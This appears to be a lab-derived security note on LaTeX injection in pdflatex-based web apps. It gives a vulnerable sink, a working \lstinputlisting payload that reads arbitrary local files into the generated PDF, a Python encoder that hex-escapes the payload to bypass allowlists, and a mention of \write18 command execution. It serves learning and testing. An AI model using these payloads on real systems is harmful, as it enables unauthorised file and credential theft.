Local file read
LaTeX local file read
An application that writes attacker-controlled text into a .tex file and compiles it with pdflatex exposes a LaTeX injection sink. The \lstinputlisting{<FILE>} command reads a local file and places its contents in the generated PDF.
Vulnerable sink
latex_code = request.form.get("latex_code", "")
with open("input.tex", "w") as latex_file:
latex_file.write(latex_code)
subprocess.run(["pdflatex", "-interaction=nonstopmode", "input.tex"])Injection context
The injection context determines whether the payload must be a LaTeX fragment or a complete document. Input inserted into an existing document must fit the surrounding LaTeX structure. Input written directly into the .tex file becomes the complete document and must include the document class, required packages, and document environment.
The vulnerable sink above writes the input as the complete contents of input.tex. The following template therefore supplies a complete document rather than an isolated LaTeX command.
File read template
The listings package provides \lstinputlisting. The listing configuration uses a monospaced font, preserves spacing, and allows long lines to use the available width.
\documentclass{article}
\usepackage{listings}
\lstset{basicstyle=\ttfamily,columns=fullflexible,keepspaces=true}
\pagestyle{empty}
\begin{document}
\lstinputlisting{<FILE>}
\end{document}The compiled PDF contains the contents of <FILE>. The PDF can then be downloaded and parsed with the existing pypdf text extraction snippet.
Command execution requirement
Arbitrary command execution through \immediate\write18{<COMMAND>} requires unrestricted shell execution, normally enabled by passing -shell-escape to pdflatex. The invocation shown above only passes -interaction=nonstopmode, which controls error handling and does not enable shell execution. Local file read through \lstinputlisting does not require -shell-escape.
TeX ^^ hexadecimal notation
TeX accepts ^^ followed by two hexadecimal digits as another representation of an ASCII character. For example, ^^5c represents a backslash and ^^7b represents an opening brace. This notation can preserve LaTeX syntax when an input allowlist accepts hexadecimal digits and carets but blocks characters such as backslashes and braces.
The encoder preserves whitespace and replaces every other ASCII character with its TeX hexadecimal representation. Encoding the entire payload, including line breaks and spacing, changes the input structure during TeX’s early line processing and can prevent the document from compiling. Newlines, tabs, carriage returns, and spaces therefore remain literal:
def create_latex_file_read_payload(file_to_read):
latex_text = f'''\\documentclass{{article}}
\\usepackage{{listings}}
\\lstset{{basicstyle=\\ttfamily,columns=fullflexible,keepspaces=true}}
\\pagestyle{{empty}}
\\begin{{document}}
\\lstinputlisting{{{file_to_read}}}
\\end{{document}}'''
latex_hex_list = []
for latex_character in latex_text:
if latex_character in "\n\t\r ":
latex_hex_list.append(latex_character)
else:
latex_hex_character = "^^" + latex_character.encode().hex()
latex_hex_list.append(latex_hex_character)
latex_hex_text = "".join(latex_hex_list)
return latex_hex_textThis encoder is intended for ASCII LaTeX source. A non-ASCII character produces multiple UTF-8 bytes from .encode().hex(), while each TeX ^^ sequence represents one byte value.
Find by: latex injection, tex injection, pdflatex, lstinputlisting, listings package, local file read, arbitrary file read, generated pdf, tex hex, caret hex, double caret, allowlist bypass · Source: HTB/DLLAMA